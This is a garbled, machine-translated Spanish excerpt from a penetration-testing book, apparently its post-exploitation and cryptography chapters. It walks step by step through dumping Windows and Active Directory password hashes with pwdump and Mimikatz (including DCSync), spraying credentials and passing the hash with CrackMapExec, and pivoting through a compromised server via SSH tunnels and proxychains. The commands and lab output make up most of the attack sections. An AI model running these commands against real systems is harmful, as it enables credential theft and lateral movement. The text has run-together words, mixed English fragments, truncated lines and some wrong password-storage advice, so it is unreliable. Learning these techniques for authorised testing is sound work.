PROPINA
El capítulo 1, “Dominio de la ventana de terminal”, ya cubrió cómo un
sistema Linux almacena contraseñas.
Recuerde que la ubicación de las contraseñas hash de Linux es /etc/shadow.
WindowsNTLMHashes
Las versiones anteriores de los sistemas operativos Windows se usaban para almacenar contraseñas
en formato de hash de LAN Manager (LM). Los hashes de LM eran fáciles de descifrar debido a los
siguientes criterios principales:
Una contraseña está limitada a un máximo de 14 caracteres.
Una contraseña no distingue entre mayúsculas y minúsculas.
Si una contraseña tiene 14 caracteres, se fragmenta en dos fragmentos de siete
caracteres, lo que facilita su descifrado porque puede atacar cada uno por separado.
Si una contraseña tiene menos de siete caracteres, solo los primeros siete
caracteres se codificarán y la otra cadena de caracteres se establecerá en un valor
constante 0xAAD3B435B51404EE.
Tenga cuidado con el historial de hash de credenciales de Windows. De hecho, los hashes de LM
se utilizaron en lo siguiente:
WindowsNT3.1
WindowsNT3.5
WindowsNT3.51
WindowsNT4
Windows95
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Windows98
Windows2000
Windows Me
Por lo tanto, el LM ya no se usa en los sistemas operativos modernos. A partir de Windows
Vista y Windows Server 2008, Microsoft deshabilitó el LM hash de forma predeterminada. Pero
la función se puede habilitar para cuentas locales y cuentas de Active Directory a través de
una configuración de política de seguridad.
En la actualidad, el sistema operativo Windows utiliza NTLanManager (NTLM) v2. Verá el
aspecto de este hash en la siguiente sección, pero sepa que es una mejora de LM y NTLMv1.
Este hash se introdujo en Windows NT4 SP4 y es compatible de forma nativa con los sistemas
Windows.
Extraer los hash (volcar el hash)
Descifrar los hash o reutilizarlos (pasar el hash)
Archivo SAMFy volcado de hash
El archivo Security Account Manager (SAM) es donde el sistema Windows almacenará los
hashes de cuenta. Este archivo está ubicado en %SystemRoot%/system32/config/SAM y
está montado en HKLM/SAM.
Desafortunadamente, no tiene acceso de lectura a este archivo (incluso si es
administrador). Por suerte para los hackers, tenemos herramientas para extraer (volcar)
esos hashes. Pwdump es una gran herramienta para hacer el trabajo. Para descargar
la versión 8 de Pwdump, vaya a la siguiente ubicación (la última versión compatible con
Windows 10):
http://blackmath.it/pub/pwdump/pwdump8.exe
C:\Usuarios\admin\Documentos>pwdump8.exe
PwDumpv8.2-dumpswindowspasswordhashes-byFulvioZanetti&AndreaPetralia@http://
www.blackMath.it
Administrador:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C
Invitado:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Cuenta predeterminada: 503: AAD3B435B51404EEAAD3B435B51404EE: 31D6CFE0D16AE931B73C59D7E0
administrador:1001:AAD3B435B51404EEAAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634
De acuerdo con la salida anterior, el formato de cada cuenta es el siguiente:
[nombre de usuario]:[ID de usuario]:[AAD3B435…404EE]:[NTLMHashValue]
Hay dos lecciones esenciales para comprender este formato de archivo ( SAM ) .
usando el hash
Después de extraer el hash, tendrá dos opciones:
Úselo para iniciar sesión en otros sistemas Windows (pasar el hash)
Crackear el hash para obtener la contraseña de texto claro (mi opción efectiva favorita)
En las próximas secciones (sobre la reutilización de contraseñas y hashes),
aprenderá a utilizar el hash extraído para iniciar sesión de forma remota en otro host
de Windows.
Mimikatz
Mimikatz es una navaja suiza que puede extraer lo siguiente de la memoria:
Windows ha perdido las contraseñas.
contraseñas de texto sin formato.
Kerberostickets. Este ticket lo utilizan principalmente los sistemas Windows para el inicio de
sesión único. El SSO permite a un usuario utilizar sus credenciales de dominio en otros
sistemas sin volver a introducir su contraseña.
Puede obtener Mimikatz de dos maneras. Puede descargarlo del repositorio de GitHub desde github.com/gentilkiwi/
mimikatz o puede copiar Mimikatz del sistema de archivos KaliLinux al sistema operativo Windows. Los archivos
binarios se encuentran en las siguientes rutas (versiones de 32 y 64 bits):
/usr/share/windowsÿresources/mimikatz/Win32/mimikatz.exe
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/usr/share/windowsÿresources/mimikatz/x64/mimikatz.exe
Después de copiar la versión de 64 bits del host Windows 10 de Mimikatztomy,
abra el símbolo del sistema en modo administrador. A continuación, ejecutaré Mimikatz
al invocarlo:
C:\Usuarios\admin\Documentos>mimikatz.exe
#####.mimikatz2.2.0 (x64)#19041May19202000: 48: 59
##^##. "ALaVie, AL'Amour"-(oe.eo)
##/\##/***BenjaminDELPY`gentilkiwi`([email protected])
##\/##>http://blog.gentilkiwi.com/mimikatz
'##v##'VincentLETOUX([email protected])
'#####'>http://pingcastle.com/http://mysmartlogon.com***/
Ahora que Mimikatz está cargado, puede comprobar si sus privilegios le permitirán
usted puede volcar los hashes ejecutando el privilegio:: comando de depuración :
mimikatz#privilegio :: depuración
Privilegio'20'OK
La palabra OK significa que estamos listos para continuar con la extracción. A continuación, ejecutemos
el comando sekurlsa::logonPasswordsfull :
mimikatz#sekurlsa :: logonPasswordsfull
ID de autenticación
Sesión
:0;1297963(00000000:0013ce2b)
:Interactivodesde1
Nombre de usuario
:administración
Dominio
:WINDOWS10LAB02
:WINDOWS10LAB02
:10/8/20204:58:22AM
:S-1-5-21-1416285162-3336877196-
Servidor de inicio de sesión
Hora de inicio de sesión
SID673110829-1001
msv:
[00000003]primario
* Nombre de usuario: administrador
*Dominio:WINDOWS10LAB02
* NTLM:209c6174da490caeb422f3fa5a7ae634
* SHA1:7c87541fd3f3ef5016e12d411900c87a6046a8e8
[00010000]Claves de credenciales
* NTLM:209c6174da490caeb422f3fa5a7ae634
* SHA1:7c87541fd3f3ef5016e12d411900c87a6046a8e8
cucharadita:
resumen:
* Nombre de usuario: administrador
Canal de Telegram : @IRFaraExam
Machine Translated by Google
*Dominio:WINDOWS10LAB02
*Contraseña:(null) kerberos:
*
Nombre de usuario: administrador
*Dominio:WINDOWS10LAB02
*Contraseña:(null)
[…]
DumpingActiveDirectoryHashes
En una organización típica, las personas usan su cuenta de Active
Directory para iniciar sesión en su host. Usan la misma cuenta para
iniciar sesión en otros sistemas (por ejemplo, sitio de intranet, unidades
compartidas, CRM, etc.), y esto se denomina inicio de sesión único
( SSO) . El mismo concepto se aplica a este archivo.
No podrá
. tiene que
volcarleerlo,
los
usuarios y sus contraseñas hash. Para hacer el trabajo , usemos Mimikatz
nuevamente.
mimikatz#lsadump::dcsync/domain:kcorp.local/all/csv
[DC]'kcorp.local'willbethedomain [DC]'AD-Server.KCorp.local'willbetheDCserver
[DC]Exportingdomain'kcorp.local'
502krbtgt500Administrator770110686894194cf353a12f79d8f62510660LAB4$
bae1d71f7002fb3ae9cc3fe6864b3f1c514
e8ea5203b1731110043a546965fc8bab4128
1107WINDOWS10LAB02$c052ace3d5f8e7caed30333c4ab6fb334128 1001ADSERVER$1109elliot
1b48fd53a201df94ef837c66284bde77532480
9f3ddc3df594df2978f57b65f9a53b5266048
Tenga en cuenta que puede ejecutar este comando Mimikatz en cualquier host
unido al dominio con privilegios administrativos (no necesita estar físicamente en
el servidor DC).
Reutilización de contraseñas y hashes
¿Qué pasaría si alguien le dijera que existe una herramienta que
escanea toda la red y prueba las credenciales (contraseñas de texto claro
y contraseñas cifradas) en cada máquina? Asombroso, ¿verdad? Esta
herramienta se llama CrackMapExec, ¡y automatiza esta tarea como un
campeón !
.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Primero, analicemos la red en busca de hosts en vivo que admitan SMBusing
CrackMapExec. Tenga en cuenta que esta herramienta está preinstalada en KaliLinux:
root@kali:~#crackmapexecsmb172.16.0.0/24
SMB172.16.0.2445AD-SERVER[*]Windows10.0Build17763x64(nombre:AD-SERVER)
(dominio:KCORP)(firma:Verdadero)(SMBv1:Falso)
SMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(nombre:WINDOWS10LAB02)
(dominio:KCORP)(firma:falso)(SMBv1:verdadero)
SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB)
(dominio:KCORP)(firma:falso)(SMBv1:falso)
PROPINA
Para escanear hosts Linux, debe usar la opción de escaneo de servicios SSH.
raíz@kali:~#crackmapexecssh172.16.0.0/24
SSH172.16.0.107222.0172.16.0.107
OpenSSH_8.2p1Ubuntu-4ubuntu0.1
[*]
SSH
La herramienta ha encontrado tres hosts de Windows. A continuación, probaremos las cuentas locales en
cada host con nombre de usuario = admin y contraseña = admin :
root@kali:~#crackmaexecsmb172.16.0.0/24-uadmin-padmin-autorización local
SMB172.16.0.2445AD[*]Windows10.0Build17763
SERVERx64(nombre:AD-SERVER)(dominio:AD-SERVER)(firma:Verdadero)
(SMBv1: falso)
SMB172.16.0.2445AD[-]AD-SERVIDOR\admin:admin
SERVERSTATUS_LOGON_FAILURESMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(no
(SMBv1: Verdadero)
SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB)
(dominio:WINDOWS10LAB)(firma:falso)
(SMBv1: falso)
SMB172.16.0.106445WINDOWS10LAB02[+]WINDOWS10LAB02\admin:adminSMB172.16.0.104445WINDOW
De acuerdo con los resultados de salida, el puede ver que las credenciales funcionaron en el
host172.16.0.106. Además, puede usar el mismo concepto si pudiera
descargue los hashes y obtenga una contraseña de texto sin cifrar (si pudo descifrarlo).
en el capítulo siguiente, verá cómo descifrar hashes NTLM volcados.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
pasa el hash
Pasar el hash (PTH) es simplemente usar el valor hash en lugar del texto claro
contraseña para iniciar sesión en el host remoto. Seleccionaremos a elliot de la salida de
Mimikatz cuando usamos la edición para volcar las cuentas del servidor DC.
usaremosCrackMapExecasbien:
root@kali:~#crackmapexecsmb172.16.0.0/24-williotH'9f3ddc3df594df2978f57b65f9a53b52'
SMB172.16.0.2445AD-SERVER[*]Windows10.0Build17763x64(nombre:AD-SERVER)
(dominio:KCORP)(firma:Verdadero)(SMBv1:Falso)
[+]KCORP\elliotSMB172.16.0.2445ADSERVER9f3ddc3df594df2978f57b65f9a53b52(Pwn3d!)
SMB172.16.0.106445WINDOWS10LAB02[*]Windows10Pro10240x64(nombre:WINDOWS10LAB02)
(dominio:KCORP)(firma:falso)(SMBv1:verdadero)
SMB172.16.0.104445WINDOWS10LAB[*]Windows10.0Build17763x64(nombre:WINDOWS10LAB)
(dominio:KCORP)(firma:Falso)
(SMBv1: falso)
SMB172.16.0.106445WINDOWS10LAB02[+]KCORP\elliot9f3ddc3df594df2978f57b65f9a53b52SMB172.16.
¡Mire esto! La cuenta de elliot se probó con éxito (cuando el signo más
aparece) en tres hosts de Windows.
PROPINA
CrackMapExec puede usarse para otros fines y no solo para
credenciales de automatización de fuerza bruta. Aquí hay algunas facciones que puede
ejecutar con esta herramienta:
Enumerateshares
Enumerateactivesessions
Enumerar usuarios registrados
Usuarios de dominio enumerados
Enumeratelocal/domaingroups
Y mucho más
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Rotación con redirección de puertos
Este puede ser un concepto confuso para los principiantes en el campo, pero como
es habitual, esta sección intentará simplificarlo para que pueda usarlo en su extremo. (La
mejor manera de entender esta sección es practicarlo; no solo leerlo).
Conceptos de reenvío de puertos
Reenvío de puerto local
Reenvío de puerto remoto
Reenvío dinámico de puertos
Conceptos de reenvío de puertos
El reenvío de puertos (o redirección) es simplemente redirigir la comunicación de red
debido a una restricción de firewall. Elliot, un empleado de ECorp, quiere conectarse a su
servidor FTP en ftp.fsociety.com, pero los firewalls de ECorp restringen las conexiones
salientes a través del puerto 21 (el puerto predeterminado de FTP). Por otro lado, ECorp
permite la comunicación saliente en los puertos 80 y 443 (HTTP/HTTPS) . que redirige las
comunicaciones del puerto 80 al 21 y las envía al servidor de destino FTP. Inteligente,
¿verdad? La figura 12.1 muestra cómo se ve visualmente.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 12.1 Reenvío de puertos
En este escenario, tenemos las siguientes direcciones IP públicas (las direcciones IP
son falsas; son solo por el bien de este ejemplo):
ElliotECorpIP: 1.1.1.1
redirección.fsociety.com:
2.2.2.2 ftp.fsociety.com: 3.3.3.3
Elliot ya ha instalado rinetd en LinuxVM (redirect.fsociety.com) usando el
comando aptinstall :
$aptinstallrinetd
Una vez instalada la aplicación rinetd , deberá configurarla para redirigir
la conexión de red .
. Una vez que se abre el archivo, Elliot debe seguir las
BindAddress|BindPort|ConnectAddress|ConnectPort
Por lo tanto, hará los siguientes cambios:
1.1.1.1803.3.3.321
La dirección de enlace es la dirección IP de donde proviene la conexión y la
dirección de conexión es el destino del servidor FTP.
Para aplicar los resultados, Elliot guardará el archivo y reiniciará el servicio mediante
el siguiente comando:
$servicerinetdrestart
En esta etapa, Elliot usará el siguiente comando ftp para evitar el firewall
(Ellio está usando una máquina virtual KaliLinux en su computadora portátil):
$ftp2.2.2.2:80
Túnel de SSHT y reenvío de puerto local
En el ejemplo anterior, vio los conceptos básicos del reenvío de puertos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
realice una redirección de puerto local mediante SSH. Para seguir el ejemplo anterior, esto
es lo que parece en cada lado:
ElliotECorp:
PublicIP1.1.1.1
Elliot usará el comando de cliente SSH (para el reenvío de puerto local) antes de
intentar usar la conexión FTP.
redirección.fsociety.com (puerta):
IP pública2.2.2.2
El servidor SSH estará atento a las conexiones entrantes.
ftp.fsociety.com (servidor FTP):
PublicIP3.3.3.3
Servidor FTP instalado para FSociety
En el paso 1, Elliot necesita ejecutar un servidor SSH en su VM de puerta de
enlace (redirect.fsociety.com). En el paso 2, Elliot ejecutará el cliente SSH en su Kali VM (dentro
de ECorp) para escuchar localmente en el puerto 4444 y enviar el tráfico al SSH
servidor:
root@kali:~#ssh-L4444:3.3.3.3:212.2.2.2
Para el paso final, Elliot puede conectarse a su servidor FTP mediante el escucha del puerto del
host local :
raíz@kali:~#ftp127.0.0.1:4444
Si ECorp no permite la conexión SSH (puerto 22) en sus reglas de firewall salientes,
entonces Elliot debe hacer un truco. Primero, debe cambiar el puerto de escucha SSH en
redirect.fsociety.com (2.2.2.2) andassignittotheappropriatecustomport
number.Let'sassumethattheECorpfirewallallowsonlyoutgoingports80and
443andblocksport22.Inthiscase, Elliothastochangetherouterport
forwardingon2.2.2.2toroutetrafficfromport80toport22.Thisisgenerally
accomplishedintherouteradminpanel.Eachroutershouldhavetheport
forwardingfunctionality.Second, hemustusethefollowingcommandonhis KaliLinuxVM (1.1.1.1):
raíz@kali:~#ssh-p80-L4444:3.3.3.3:212.2.2.2
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Reenvío de puertos remotos mediante SSH
Let'stakethechallengealittlebitfurtherandtrytocompleteanothertaskusing portforwarding.Elliot,
duringhispentestsatECorp, gotalimitedshelltothe productionserver.Next,
herealizedthatthisserverhasMySQLlisteningatport
3306.ElliottriedtousehisrestrictedshelltoconnecttotheMySQLserver, pero
hisshelldidn'tallowhimto.Thebestwaytotacklethischallengeisbyusingthe
remoteportforwardingtechniquetoexposetheMySQLportandbeingableto accessitremotely. (Ver
Figure12.2).
Figura 12.2 Diagrama de red ECorp
ElliotKaliVM:
Dirección IP: 172.16.1.55
ServidorProdExplotado ( prod1.ecorp.local )
Dirección IP: 10.10.1.114
Puertos abiertos: 22 (SSH), 443 (TLS)
En el primer paso, Elliot tiene que ejecutar el servidor SSH en su máquina virtual Kali. Luego,
usando su shell limitado, ejecutará el siguiente comando para exponer el puerto MySQL (Elliot
puede usar la opción ÿp para especificar un puerto personalizado en caso de que el firewall PROD
Canal de Telegram : @IRFaraExam
Machine Translated by Google
está bloqueando la conexión):
$ssh-R443:127.0.0.1:[email protected]
Ahora que se completó el túnel, Elliot puede conectarse desde su Kali VM directamente al
servidor explotado (10.10.1.114). Tenga en cuenta que Elliot ya obtuvo las credenciales
(durante sus pruebas de penetración) para conectarse a este servidor MySQL. Elliot eligió
cuidadosamente el puerto 443 ya que el servidor comprometido está permitiendo conexiones
entrantes a él:
root@kali:~#mysql--usuario=raíz--contraseña--host=127.0.0.1-- puerto=443
DynamicPortForwarding
Nowit'stimeforthebestpartofthischapter.Inthisscenario, Elliothasalready
compromisedaserverintheproductionzone (ejemplo accordingtotheprevious) .Indynamicportforwarding,
Elliotwillbeabletotunnelhistrafficand zone.Inotherwords
usethecompromisedserverasaproxygatewaytoscanthewholeproduction,
althoughElliotdoesnothavedirectnetworkaccesstothe wholeproductionzone, byusingthecompromisedserver
(prod1.ecorp.local), hewillbeabletogetthejobdoneusingdynamicportforwarding.
Reenvío dinámico de puertos con SSH
Por lo tanto, de acuerdo con nuestro ejemplo anterior, Elliot tiene un shell conectado
prod1.ecorp.local .
a este host que sirve a la aplicación web de producción de
ECorp (www.ecorp.com). Por lo tanto, el puerto 443 está abierto para TLS y el puerto 22 también
para SSH (por lo que el administrador podrá administrar el host de forma remota).
Otra característica que usará Elliott se llama cadenas proxy; esta funcionalidad le permitirá
ejecutar cualquier herramienta (como Nmap) a través de proxies HTTP, SOCKS4 y SOCKS5.
En el primer paso, Elliot creará un túnel SSH (reenvío de puerto remoto) entre Kali y el
host de producción comprometido. En su shell conectado, Elliot ejecutará el siguiente
comando:
$ssh-R443:127.0.0.1:[email protected]
Después de ejecutar el comando de túnel SSH, Kali VM de Elliot debe estar escuchando en
el puerto 443. A continuación, Elliot creará el reenvío de puerto dinámico en el puerto 9050. En
otras palabras, el puerto 9050 se utilizará para redirigir el tráfico al
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Túnel SSH (el nombre de usuario administrador SSH ya ha sido comprometido por Elliot en
el servidor de producción):
root@kali:~#ssh-D127.0.0.1:[email protected]
Elliot ha utilizado el puerto 9050 porque es el número de puerto predeterminado para las
cadenas de proxy SOCKS4 (de hecho, el número de puerto se utiliza para el proxy con la red Tor).
Si utilizó otro número de puerto, tendría que modificar el archivo de configuración en /etc/
proxychains.conf :.
root@kali:~#cat/etc/proxychains.conf
#proxychains.confVER3.1 #
#
#
Proxificador de túnel HTTP, SOCKS4, SOCKS5 con DNS.
[…]
[ProxyList]
#addproxyhere...
#meanwile
#defaultssetto"tor"
calcetines4127.0.0.19050
Finalmente, ahora Elliot puede comenzar a ejecutar comandos en la zona de red de
producción. Entonces, para escanear los hosts de producción usando Nmap, Elliot
ejecutará el siguiente comando en su Kali VM:
root@kali:~#proxychainsnmap-sn10.10.1.0/24
Resumen
¡Acaba de terminar otro gran capítulo de este libro! Este capítulo posterior a la explotación
debería haberle brindado otra perspectiva de las técnicas de prueba de penetración.
Recuerde que puede volcar las credenciales de un host de Windows (y también de un host de
Linux) para usarlas en otro lugar.
Después de eso, aprendió a usar el reenvío de puertos local, remoto y dinámico a
través de SSH.
En el capítulo siguiente, verá cómo descifrar hashes, incluido el hash NTLM.
¡Más divertido por venir!
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 13
Criptografía y craqueo de hash
Uno de los mejores temas en el campo de la seguridad cibernética es
el descifrado de contraseñas. Es un sentimiento especial de felicidad
cuando obtiene una capa o descifra una contraseña (obtiene su valor de
texto claro). Aprenderá mucho en este capítulo, así que prepárese para
una larga.
En este capítulo, aprenderá sobre lo siguiente:
Conceptos básicos de la criptografía
hash
Cifrado
hachís
Conceptos básicos de la criptografía
Desafortunadamente, la gente piensa que este es un tema complejo.
La criptografía se ha utilizado durante miles de años para ocultar mensajes secretos. ¿Y
adivina qué? Todavía se utiliza mucho en nuestra tecnología moderna.
¿Qué pasa con las técnicas de cifrado en nuestra era moderna?
Bueno, encontrará la mayoría de ellas en este capítulo. Por lo tanto, si es
un probador de penetración, necesita saber cómo piratear y aprovechar los
cifrados débiles. ¿Y qué pasa con los expertos en seguridad de aplicaciones?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la gente no debe usar cifrados débiles. Sería útil si los convenciera; ellos lo desafiarán y lo
probarán. ¡No se preocupe! En las próximas secciones, veremos todas las partes prácticas del
cifrado para que esté preparado para esta batalla.
Conceptos básicos de hashing
Los algoritmos hash confirman la integridad de los datos digitales. ¿Qué significa esto en la práctica?
Suponga que acaba de descargar un archivo de Internet: ¿cómo se asegura de que el archivo de
origen no haya sido alterado mientras se dirigía desde el origen al destino?
Función hash unidireccional
Escuchará mucho acerca de las funciones hash unidireccionales (o simplemente hashes) en su
carrera como probador de penetración. Toman entradas como un correo electrónico, un archivo
descargado o una contraseña, y luego generan un número a partir de la entrada. Generalmente, la
salida es en hexadecimal usando algún tipo de algoritmo (por ejemplo, SHA256, MD5, etc.).
Por ejemplo, el algoritmo hash SHA256 equivalente a Gu es el siguiente:
62128be42907c0866965a87657982a8e0e6ee410aeab02af667a05696384ceb5
Este es el algoritmo de una función hash unidireccional:
h=alto x
La salida h se denomina resumen o suma de comprobación.
El H es el algoritmo hash (p. ej., SHA256).
La x es el dato de entrada (basado en el ejemplo anterior, es Gus).
En general (no siempre), el propósito de hash es agregar una huella digital a la pieza de datos
intercambiada entre una fuente y un destino.
Foranalgorithmtowork,thereareafewrequirements:
El hashing se puede aplicar a cualquier bloque variable de datos de entrada. En otras
palabras, la entrada puede ser cualquier cosa y no debe estar limitada.
La salida hash debe tener una longitud fija independientemente del tamaño de entrada. Por lo
tanto, la longitud de salida SHA-256 siempre es 256, ¡nada más!
Para fines prácticos, la salida debe ser fácil de calcular.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Además, los resultados de salida no deberían ser reversibles a su estado original; si
tiene la h minúscula, que es la salida, no debería poder calcular x, que es la entrada.
Finalmente, dos valores de entrada diferentes no deberían tener la misma salida (Hx
ÿ Hy).
Esto se llama resistencia a la colisión.
HashingEscenarios
Ahora, esta es la pregunta más importante: ¿dónde puede usar hashing? En términos prácticos,
puede usar hashing para lo siguiente:
Para generar una suma de verificación para un archivo. Al hacer esto, puede
comparar la suma de verificación generada del archivo original antes de descargarlo,
para compararla con la suma de verificación que genera después de la descarga.
Para almacenar contraseñas en la base de datos. Esta técnica asegurará que no se almacenen
contraseñas de texto sin cifrar en reposo.
Para usar firmas digitales.
Para capturar archivos infectados. Incluso los sistemas de detección de intrusos y
los programas antivirus capturan hashes de archivos y comparan sus valores con
definiciones de firma; esta técnica se utiliza para capturar archivos infectados.
Algoritmos hash Hay
muchos algoritmos de los que oirá hablar en su carrera. En esta sección, cubriremos
los más populares para que pueda descifrarlos.
Message Digest5
Message Digest versión 5 (MD5) es uno de los algoritmos hash comunes. Ha reemplazado
a su predecesor MD4, que prácticamente ya no se usa porque no es un algoritmo seguro en
absoluto.
Precaución: ¡no utilice MD5 para almacenar contraseñas! Discutiremos algoritmos más
seguros para almacenar contraseñas en las siguientes secciones de este capítulo.
Esto no significa que MD5 no se pueda usar en todos. Muchas aplicaciones y sitios
web todavía usan MD5 para verificar la integridad de los archivos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ejemplo.
Usaremos Python para los ejemplos de criptografía en este capítulo y seguiremos los
pasos que debe tener en cuenta para seguir con éxito los ejemplos.
Primero, descargue la biblioteca criptográfica a su Kali Linux VM (o host) desde el
siguiente enlace:
/pypi.org/project/pycrypto/#files
A continuación, abra la ventana de la terminal en su máquina virtual Kali y cambie su directorio
al lugar donde se encuentran los archivos de instalación (después de descomprimir el archivo
tar.gz comprimido). Para instalar el módulo de biblioteca, ejecute el siguiente comando
(asegúrese de estar dentro del directorio extraído):
root@kali:/opt/crypto/pycrypto-2.6.1#pythonsetup.pyinstall
A continuación, abra su editor de texto favorito y escriba lo siguiente:
#ImportarelmóduloCryptodesdeCrypto.HahimportMD5
#InstanciarlavariabledefunciónMD5 h=MD5.new()
#Calculatethehash
h.update(mensaje)
#Imprimirelvalorhexadecimal
printh.hexdigest ()
Guarde el archivo como md5_example.py andrunit:
root@kali:~#pythonmd5_example.pyb10a8db164e0754105b7a99be72e3fe5
Let'stakeamomenttobreakdownthePythonsourcecode.InPython, que
prependacommentwiththe # (thislineisnotexecuted) .Inthesecondline, que
areimportingthecryptolibrarybytellingit (thePythoninterpreter) thatwewant tousetheMD5function.Then,
hachís wedefinethemessagevariablethatwewantto (inotherwords, wewanttohashthemessage
“Hola Mundo”). Afterthat, weinstantiatedtheMD5hashingvariable.Next, weusethe actualización
functionto computethehashvalueofthemessagevariable.Finally, weprintthe128 ÿbit valor hash en
hexadecimal.
Usaremos el mismo concepto en las próximas secciones; si entendió cómo funciona este
ejemplo, entonces los otros serán pan comido.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
SecureHashAlgorithm
Al igual que MD5, el algoritmo de hash seguro (SHA) está lejos de hacer hash con
un mejor mecanismo de seguridad. Ahora, hay varias versiones de SHA. Por
ejemplo, la versión 0 de SHA es la primera, pero ya no se usa.
SHA224
SHA256
SHA384
SHA512
Los números al final representan la longitud de salida del resumen. Por ejemplo,
SHA224 genera 224 bits de salida. La organización NIST introdujo la versión 3 de
SHA posteriormente, e incluye también varias subversiones: 224, 256, 384 y 512 bits.
SHA3esconsideradoelalgoritmohashingmásseguroactualmente.Estecapítulofueescritoen2020,peroprob
fromCrypto.HashimportSHA512
mensaje='HelloWorld' h=SHA512.new()
h.update(mensaje) printh.hexdigest()
Nuevamente, asegúrese de guardar el archivo (lo llamé sha_example.py ) y ejecútelo:
root@kali:~#pythonsha_example.py2c74fd17edafd80e8447b0d46741ee243b7eb74dd2149a0ab1b9246fb303
Contraseñas Hashing
El mejor método para proteger las contraseñas guardadas en reposo (en una base de datos, por
ejemplo) se logra mediante hash.
Cuando un nuevo usuario se registra por primera vez en un sitio web, el usuario elige una contraseña, ¿verdad?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El código fuente del back-end utilizará un algoritmo hash seguro, como SHA256, para generar una
salida hash antes de guardarla en la base de datos. Ahora la base de datos contiene una contraseña
sin sentido y no reversible.
Tenga en cuenta que incluso el propio administrador puede revelar la contraseña original.
Probablemente se esté preguntando, ¿cómo se autenticará el usuario si la contraseña está codificada?
La respuesta es simple: cuando este usuario intenta iniciar sesión con una contraseña, el algoritmo
hash (SHA256, en este caso) se usa nuevamente para calcular la salida. Luego, esta salida se
compara con la copia guardada en la base de datos. Si son iguales, entonces el usuario es autenticado.
Protección de contraseñas con hash
Para almacenar contraseñas de forma segura, debe seguir estas pautas:
No utilice MD5 o SHA1 para almacenar contraseñas.
Utilice SHA2 o SHA3, preferiblemente.
Utilice la sal para mitigar los ataques de fuerza bruta contra contraseñas.
Entonces, ¿qué está salando exactamente?
¿No se supone que el shinging debe ser seguro? Es seguro, pero hay otra pregunta para usted. ¿No
se está preguntando por qué no menciona MD5 o SHA1?
De hecho, todos están relacionados con un solo problema, que es adivinar contraseñas mediante
el uso de ataques de fuerza bruta y diccionario.
El algoritmo MD5 es rápido, mientras que SHA2 es más complicado y más lento. Por lo tanto, un
ataque de fuerza bruta tardará más en adivinar una contraseña que use SHA2. Además, MD5 genera
una salida de 128 bits en comparación con SHA256, que produce una salida de 256 bits. Cuanto más
tiempo, mejor.
Ahora llega el turno de la salazón. Una técnica de salazón se lleva a cabo agregando caracteres
aleatorios a la contraseña antes de aplicar los algoritmos hash.
He aquí un ejemplo:
Antes, sin Salar
Digamos que la contraseña es 12345 y la salida SHA256 es igual a
ABFF56CC … inhex (esa no es la salida real, pero solo por el bien de esto
ejemplo).
Un hacker ya podría pregenerar un conjunto de palabras del diccionario y, por lo tanto,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
saber que ABFF56CC
… es 12345 , ¡así que serás hackeado!
Después con Salazón
Ahora usemos la técnica de salado y comparemos la diferencia entre los
dos:
Salt+Password=ABC+12345= ABC12345 (aquí antepuse los caracteres ABC a la
contraseña 12345).
Entonces, en SHA256, es igual a FFFF55DD... en hexadecimal.
Usando un prefijo salt de ABC, el atacante no podrá adivinar la contraseña porque la
salida no puede asumirse usando ataques de diccionario. Aún mejor es si usa un valor
salt diferente para cada contraseña.
Mensaje basado en hashAuthenticatedCode
El código autenticado de mensajes basado en hash (HMAC) es otro algoritmo de hash.
Pero este especial requiere una clave secreta para usar antes de aplicar el hash. Lo bueno
de este algoritmo es que ofrece integridad y autenticidad. HMAC usa MD5 o SHA1 como
algoritmo hash;
Entonces, ¿cómo funciona esto? Digamos que Tyrell, el remitente, quiere enviar un mensaje
a Joanna. Tyrell puede usar un algoritmo hash como MD5 para hacer hash del mensaje
para la integridad. Luego, usa una clave para calcular otro hash para lograr la parte de
autenticidad. Por lo tanto, use el algoritmo HMA.
Tyrell envía el mensaje a Joanna, y Joanna usa la misma clave secreta para calcular
el hash original de Tyrell. Ahora, si los resultados de HMAC coinciden con el HMAC
inicial generado por Tyrell, entonces podemos decir que el mensaje no fue alterado y
auténtico al mismo tiempo. La autenticidad se debe a la clave compartida entre Joanna y
Tyrell.
Un concepto importante en HMAC es que el mensaje no está cifrado aquí, sino que
permanece en texto sin cifrar, por lo que toda la idea es garantizar la integridad y autenticidad
del mensaje de texto sin cifrar. Veamos cómo funciona en Python:
FromCrypto.HashimportHMAC
secret_key='fsociety'
Canal de Telegram : @IRFaraExam
Machine Translated by Google
mensaje='ECorpis Hackeado.'
h=HMAC.nuevo(secret_key)
h.update(mensaje) printh.hexdigest()
Aquí se ve cuando la unidad:
root@kali:~#pythonhmac_example.py
4dc5e4bca6512cf3c64d19821eb17e2a
Como de costumbre, importamos la biblioteca que queremos usar, que es HMAC en este
ejemplo. A continuación, agregamos la variable para la clave secreta y la almacenamos en una variable.
Después de eso, lo pasamos al objeto HMAC. Luego creamos el has de la variable
de mensaje. De forma predeterminada, el algoritmo elegirá el HMAC-MD5. Finalmente,
imprimimos la salida del resumen.
Conceptos básicos del
cifrado El cifrado se divide en dos categorías: simétrico y asimétrico.
El cifrado simétrico utilizará una clave para cifrar y descifrar datos. Por otro lado,
